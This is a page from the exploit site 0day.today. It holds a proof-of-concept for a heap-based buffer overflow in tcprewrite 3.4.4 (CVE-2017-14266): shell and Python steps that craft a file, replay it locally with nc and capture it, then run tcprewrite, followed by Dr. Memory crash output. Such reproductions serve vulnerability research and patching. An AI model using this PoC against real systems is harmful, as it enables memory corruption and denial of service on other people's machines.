0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
tcprewrite - Heap-Based Buffer Overflow Vulnerability
Author
Risk
[
Security Risk High
]0day-ID
Category
Date add
CVE
Platform
################ #Title: tcprewrite Heap-Based Buffer Overflow #CVE: CVE-2017-14266 #CWE: CWE-122 #Exploit Author: Hosein Askari(FarazPajohan) #Vendor HomePage: http://tcpreplay.synfin.net/ #Product Description: When you want to give a PCAP file to someone, it gives away certain sensitive information such as an organizations internal IP range, IP addresses of sensitive company assets, MAC addresses of critical hardware that could identify the product vendors. Tcprewrite is a security tool to rewrite packets stored in PCAP file format, such as created by tools such as tcpdump and ethereal. #Version : 3.4.4 Released under the Free BSD License #Tested on: Ubuntu 16.04 (Linux 4.4.0-93-generic) #Date: 11-09-2017 #Category: Application #Author Mail : hosein.askari@aol.com #Description: tcprewrite in Tcpreplay 3.4.4 has a Heap-Based Buffer Overflow vulnerability triggered by a crafted PCAP file can cause a memory corruption and potential code execution. ############### #First we make a crafted file and send it to the network and capture its information by wireshark. ~Step 1: sudo echo -ne '\x63\x72\x61\x66\x74\x65\x64\x20\x66\x69\x6c\x65\x20\x69\x73\x20\x6d\x61\x64\x65\x20\x62\x79\x20\x48\x6f\x73\x65\x69\x6e\x20\x41\x73\x6b\x61\x72\x69' | dd conv=notrunc bs=1000 seek=200 of=tcp3.txt ~Step 2(Sending the information and capturing by wireshark): import os for i in range(1,20): os.system("cat tcp3.txt | nc 127.0.0.1 21") ~Step 3(Using tcprewrite): sudo tcprewrite --portmap=21:2121 --infile=tcp.pcap --outfile=output.pcap ################ #POC: constantine@constantine:~/Downloads/DrMemory-Linux-1.11.0-2/bin$ sudo ./drmemory -- tcprewrite --portmap=21:2121 --infile=tcp.pcap --outfile=output.pcap ~~Dr.M~~ Dr. Memory version 1.11.0 ~~Dr.M~~ WARNING: application is missing line number information. ~~Dr.M~~ ~~Dr.M~~ Error #1: UNADDRESSABLE ACCESS beyond heap bounds: writing 0x080d458f-0x080d4590 1 byte(s) within 0x080d458c-0x080d4590 ~~Dr.M~~ # 0 replace_memcpy [/work/drmemory_package/drmemory/replace.c:246] ~~Dr.M~~ # 1 tcprewrite!? +0x0 (0x0804ae59 <tcprewrite+0x2e59>) ~~Dr.M~~ # 2 tcprewrite!? +0x0 (0x08049f91 <tcprewrite+0x1f91>) ~~Dr.M~~ # 3 tcprewrite!? +0x0 (0x0804a1a1 <tcprewrite+0x21a1>) ~~Dr.M~~ Note: @0:00:01.045 in thread 2521 ~~Dr.M~~ Note: next higher malloc: 0x080d45b0-0x080e45af ~~Dr.M~~ Note: instruction: mov %eax -> (%ebx) ~~Dr.M~~ ~~Dr.M~~ Error #2: UNADDRESSABLE ACCESS beyond heap bounds: writing 0x080d459c-0x080d459d 1 byte(s) ~~Dr.M~~ # 0 replace_memcpy [/work/drmemory_package/drmemory/replace.c:252] ~~Dr.M~~ # 1 tcprewrite!? +0x0 (0x0804ae59 <tcprewrite+0x2e59>) ~~Dr.M~~ # 2 tcprewrite!? +0x0 (0x08049f91 <tcprewrite+0x1f91>) ~~Dr.M~~ # 3 tcprewrite!? +0x0 (0x0804a1a1 <tcprewrite+0x21a1>) ~~Dr.M~~ Note: @0:00:01.047 in thread 2521 ~~Dr.M~~ Note: next higher malloc: 0x080d45b0-0x080e45af ~~Dr.M~~ Note: instruction: mov %dl -> (%eax) ~~Dr.M~~ ~~Dr.M~~ Error #3: UNADDRESSABLE ACCESS beyond heap bounds: reading 0x080d458f-0x080d4591 2 byte(s) within 0x080d458d-0x080d4591 ~~Dr.M~~ # 0 libc.so.6!__GI___mempcpy [../sysdeps/i386/i686/multiarch/../mempcpy.S:54] ~~Dr.M~~ # 1 libc.so.6!__GI__IO_default_xsputn [/build/glibc-KM3i_a/glibc-2.23/libio/genops.c:438] ~~Dr.M~~ # 2 libc.so.6!_IO_new_file_xsputn [/build/glibc-KM3i_a/glibc-2.23/libio/fileops.c:1352] ~~Dr.M~~ # 3 libc.so.6!__GI__IO_fwrite [/build/glibc-KM3i_a/glibc-2.23/libio/iofwrite.c:39] ~~Dr.M~~ # 4 libpcap.so.0.8!pcap_dump +0x5f (0xb79f1100 <libpcap.so.0.8+0x1d100>) ~~Dr.M~~ # 5 tcprewrite!? +0x0 (0x0804adc6 <tcprewrite+0x2dc6>) ~~Dr.M~~ # 6 tcprewrite!? +0x0 (0x08049f91 <tcprewrite+0x1f91>) ~~Dr.M~~ # 7 tcprewrite!? +0x0 (0x0804a1a1 <tcprewrite+0x21a1>) ~~Dr.M~~ Note: @0:00:01.071 in thread 2521 ~~Dr.M~~ Note: next higher malloc: 0x080d45b0-0x080e45af ~~Dr.M~~ Note: instruction: rep movs %ds%esi) %esi %edi %ecx -> %es%edi) %esi %edi %ecx ~~Dr.M~~ ~~Dr.M~~ Error #4: LEAK 8 direct bytes 0x080c3168-0x080c3170 + 0 indirect bytes ~~Dr.M~~ # 0 replace_malloc [/work/drmemory_package/common/alloc_replace.c:2576] ~~Dr.M~~ # 1 tcprewrite!? +0x0 (0x08059e6c <tcprewrite+0x11e6c>) ~~Dr.M~~ # 2 tcprewrite!? +0x0 (0x0804ea21 <tcprewrite+0x6a21>) ~~Dr.M~~ # 3 tcprewrite!? +0x0 (0x0804c264 <tcprewrite+0x4264>) ~~Dr.M~~ # 4 tcprewrite!? +0x0 (0x08049e0c <tcprewrite+0x1e0c>) ~~Dr.M~~ # 5 tcprewrite!? +0x0 (0x0804a1a1 <tcprewrite+0x21a1>) <Application /usr/bin/tcprewrite (2521). Dr. Memory internal crash at PC 0x7384d6d5. Please report this at http://drmemory.org/issues. Program aborted. Received SIGSEGV at client library pc 0x7384d6d5 in thread 2521 Base: 0xb7e25000 Registers:eax=0x00000000 ebx=0x73934a30 ecx=0x00000002 edx=0x739355c0 esi=0x4b200ba8 edi=0x00000006 esp=0x4a0c6814 ebp=0x00000000 eflags=0x000102 1.11.0-2-(Aug 29 2016 02:45:30)0 -no_dynamic_options -disasm_mask 8 -logdir '/home/constantine/Downloads/DrMemory-Linux-1.11.0-2/drmemory/logs/dynamorio' -client_lib '/home/constantine/Downloads/DrMemory-Linux-1.11.0-2/bin/release/libdrmemorylib.so;0;-logdir `/home/constantine/Downloads/DrMemory-Linux-1.11.0-2/drmemory/logs` -symcache_dir `/home/constan /home/constantine/Downloads/DrMemory-Linux-1.11.0-2/bin/release/libdrmemorylib.so=0x73800000 /usr/lib/i386-linux-gnu/libstdc++.so.6=0xb7c84000 /lib/i386-linux-gnu/libgcc_s.so.1=0xb7a33000 /lib/i386-linux-gnu/libm.so.6=0xb7c2e000 /lib/i386-linux-gnu/libc.so.6=0xb7a77000 /lib/ld-linux.so.2=0xb7a51000> # 0day.today [2024-12-24] #